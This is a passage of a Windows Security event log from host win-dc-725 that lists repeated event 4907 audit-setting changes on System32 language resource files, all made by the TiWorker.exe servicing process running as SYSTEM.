	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247795
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\ntdsmsg.dll.mui
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247794
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\ntdsbmsg.dll.mui
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247793
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\ntdsatq.dll.mui
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247792
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\ntdsa.dll.mui
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247791
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\ldifde.dll.mui
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247790
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\KdsSvc.dll.mui
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247789
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\kdcsvc.dll.mui
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247788
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\kdcpw.dll.mui
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247787
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\ismserv.exe.mui
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247786
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\gptedit.msc
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247785
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\GPRSoP.dll.mui
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247784
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\gpregistrybrowser.dll.mui
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247783
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\gpprefcn.dll.mui
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247782
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\gpprefbr.dll.mui
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247781
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\gppref.dll.mui
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247780
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\GPOAdminCustom.dll.mui
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247779
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\GPOAdminCommon.dll.mui
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247778
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\GPOAdmin.dll.mui
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247777
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\gpmgmt.dll.mui
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247776
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\gpme.msc
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247775
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\gpme.dll.mui
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247774
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\gpmc.msc
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247773
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dsrolesrv.dll.mui
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247772
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dfsutil.exe.mui
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247771
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dfssvc.exe.mui
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247770
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dfsrs.exe.mui
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247769
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dfsrress.dll.mui
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247768
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dfsrPropagationStrings.xml
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247767
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dfsrmig.exe.mui
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247766
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\DfsrHelper.dll.mui
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247765
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dfsrHealthStrings.xml
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247764
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\dfsrHealthMessages.xml
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247763
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\DfsRes.dll.mui
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
